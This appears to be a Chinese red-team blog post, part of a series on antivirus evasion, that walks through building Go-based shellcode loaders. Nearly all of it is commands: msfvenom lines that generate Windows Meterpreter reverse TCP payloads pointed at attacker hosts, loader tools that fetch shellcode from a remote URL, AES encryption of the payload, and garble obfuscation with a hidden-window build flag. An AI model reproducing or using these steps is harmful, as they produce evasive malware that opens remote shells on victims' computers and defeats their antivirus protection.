往期文章
WEB渗透免杀篇-MSF+shellcode免杀-CSDN博客
WEB渗透免杀篇-cshot远程shellcode-CSDN博客
直接编译
生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f c
代码转换成0x格式,粘贴到go.txt中保存为go格式
安装golang环境在shellcode目录执行
>go build生成exe
编码编译
https://github.com/biggerduck/RedTeamNotes/blob/main/%E5%88%A9%E7%94%A8go%E5%8A%A0%E8%BD%BDshellcode%E5%85%8D%E6%9D%80.pdf
加载器
go-shellcode
https://github.com/brimstone/go-shellcode
进入cmd/sc目录编译sc.exe
>go build
生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f hex -o shell.txt
加载器加载shellcode
>sc.exe shellcode
Gsl
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
>gsl -s SHELLCODE -hex msf生成hex格式
>gsl -f shell.raw本地加载raw格式文件
>gsl -f shell.hex -hex 本地加载hex格式文件
>gsl -u http://192.168.0.108/1.raw 远程加载
>gsl -u http://192.168.0.108/1.hex
go-shellcode-loader
https://github.com/HZzz2/go-shellcode-loader
>git clone https://github.com/HZzz2/go-shellcode-loader.git
>cd go-shellcode-loader
//下条命令安装第三方混淆库 GitHub地址:https://github.com/burrowers/garble
>go install mvdan.cc/garble@latest
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw
>base64 -w 0 -i rev.raw > rev.bs64
>cat rev.bs64
复制到aes-sc.go中的51行替换payload 运行aes-sc.go生成AES加密后的值
>go run aes-sc.go
复制输出的值到go-sc.go中的73行替换payload 编译成exe可执行程序
>garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
参数解释: garble(混淆库): -tiny 删除额外信息 -literals 混淆文字 -seed=random base64编码的随机种子 go: -w 去掉调试信息,不能gdb调试了 -s 去掉符号表 -H windowsgui 隐藏执行窗口,不占用 cmd 终端。 (被查杀率高) -race 使数据允许竞争检测 编译后得到go-sc.exe